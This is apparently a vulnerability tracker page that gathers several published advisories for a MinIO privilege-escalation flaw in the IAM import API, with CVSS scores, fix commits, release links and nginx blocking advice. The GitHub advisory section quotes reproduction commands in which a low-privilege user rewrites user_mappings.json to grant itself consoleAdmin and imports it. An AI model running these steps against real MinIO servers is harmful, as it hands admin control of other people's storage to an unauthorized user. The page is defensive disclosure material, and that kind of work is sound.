Privilege escalation in IAM import API in MinIO

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

MinIO is a high-performance, S3 compatible object store, open sourced under GNU AGPLv3 license. Minio is subject to a privilege escalation in IAM import API, all users are impacted since MinIO commit `580d9db85e04f1b63cc2909af50f0ed08afa965f`. This issue has been addressed in commit `f246c9053f9603e610d98439799bdd2a6b293427` which is included in RELEASE.2024-12-13T22-19-12Z. There are no workarounds possible, all users are advised to upgrade immediately.

Source published

16 Dec 2024 20:02:00 UTC

Source modified

16 Dec 2024 20:18:46 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

MinIO is a high-performance, S3 compatible object store, open sourced under GNU AGPLv3 license. Minio is subject to a privilege escalation in IAM import API, all users are impacted since MinIO commit `580d9db85e04f1b63cc2909af50f0ed08afa965f`. This issue has been addressed in commit `f246c9053f9603e610d98439799bdd2a6b293427` which is included in RELEASE.2024-12-13T22-19-12Z. There are no workarounds possible, all users are advised to upgrade immediately.

Source published

Dec 16, 2024, 8:02:00 PM (timezone not stated)

Source modified

Dec 16, 2024, 8:18:46 PM (timezone not stated)

Observed here

11 Nov 2026 01:38:13 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

MinIO is a high-performance, S3 compatible object store, open sourced under GNU AGPLv3 license. Minio is subject to a privilege escalation in IAM import API, all users are impacted since MinIO commit `580d9db85e04f1b63cc2909af50f0ed08afa965f`. This issue has been addressed in commit `f246c9053f9603e610d98439799bdd2a6b293427` which is included in RELEASE.2024-12-13T22-19-12Z. There are no workarounds possible, all users are advised to upgrade immediately.

Source published

16 Dec 2024 20:15:13 UTC

Source modified

17 Jun 2026 08:11:28 UTC

Observed here

25 Oct 2026 01:17:17 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

### Impact Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f ### Patches ``` commit f246c9053f9603e610d98439799bdd2a6b293427 Author: Aditya Manthramurthy <[email protected]> Date: Wed Dec 11 18:09:40 2024 -0800 fix: Privilege escalation in IAM import API (#20756) This API had missing permissions checking, allowing a user to change their policy mapping by: 1. Craft iam-info.zip file: Update own user permission in user_mappings.json 2. Upload it via `mc admin cluster iam import nobody iam-info.zip` Here `nobody` can be a user with pretty much any kind of permission (but not anonymous) and this ends up working. Some more detailed steps - start from a fresh setup: ``` ./minio server /tmp/d{1...4} & mc alias set myminio http://localhost:9000 minioadmin minioadmin mc admin user add myminio nobody nobody123 mc admin policy attach myminio readwrite nobody nobody123 mc alias set nobody http://localhost:9000 nobody nobody123 mc admin cluster iam export myminio mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x cd /tmp/x unzip myminio-iam-info.zip echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \ iam-assets/user_mappings.json zip -r myminio-iam-info-updated.zip iam-assets/ mc admin cluster iam import nobody ./myminio-iam-info-updated.zip mc admin service restart nobody ``` ``` ### Workarounds There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer. Behind a load balancer / firewall such as `nginx` . ``` location /minio/admin/v2/import-iam { ... } ``` ``` location /minio/admin/v3/import-iam-v2 { ... ``` Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded. ### References Refer https://github.com/minio/minio/pull/20756 for more information ### Binary Releases #### AiStor Containers ``` quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips ``` #### AiStor Binaries ##### Architecture: `linux/amd64` - https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z ##### Architecture: `linux/arm64` - https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z ##### Architecture: `windows/amd64` - https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z ### Community Containers ``` quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips ``` ### Community Binaries ##### Architecture: `linux/amd64` - https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z ##### Architecture: `linux/arm64` - https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z ##### Architecture: `windows/amd64` - https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z ### Credits Credit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.

Source published

16 Dec 2024 17:27:53 UTC

Source modified

8 Oct 2026 08:11:01 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH

MinIO vulnerable to privilege escalation in IAM import API in github.com/minio/minio

Source published

18 Dec 2024 16:35:54 UTC

Source modified

8 Oct 2026 08:11:01 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.